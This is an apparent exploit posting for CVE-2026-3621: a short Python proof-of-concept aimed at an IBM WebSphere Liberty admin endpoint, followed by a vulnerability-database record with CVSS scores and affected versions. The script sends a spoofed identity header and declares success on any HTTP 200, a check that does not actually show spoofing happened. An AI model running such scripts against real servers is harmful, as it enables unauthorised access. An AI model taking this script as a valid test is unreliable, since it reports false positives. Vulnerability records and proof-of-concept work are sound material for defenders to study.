CVE-2026-3621

import requests # Target URL of the vulnerable WebSphere Liberty application target_url = "http://vulnerable-host:9080/insecure-app/admin/resource" # Malicious headers attempting to spoof identity headers = { "User-Agent": "CVE-2026-3621-PoC", "X-Global-Trans-ID": "spoofed-admin-id" # Example header used in identity spoofing } try: response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: print("[+] PoC Successful: Identity spoofing may have occurred.") print("[+] Response:", response.text[:200]) else: print(f"[-] PoC Failed: Server returned {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2026-3621", "sourceIdentifier": "[email protected]", "published": "2026-04-23T00:16:45.313", "lastModified": "2026-05-13T20:24:13.463", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.4 IBM WebSphere Application Server Liberty is vulnerable to identity spoofing under limited conditions when an application is deployed without authentication and authorization configured."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-269"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:websphere_application_server:*:*:*:*:liberty:*:*:*", "versionStartIncluding": "17.0.0.3", "versionEndExcluding": "26.0.0.5", "matchCriteriaId": "8DC1245B-8F64-4926-83E1-4D40D80ACFEB"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7270437", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}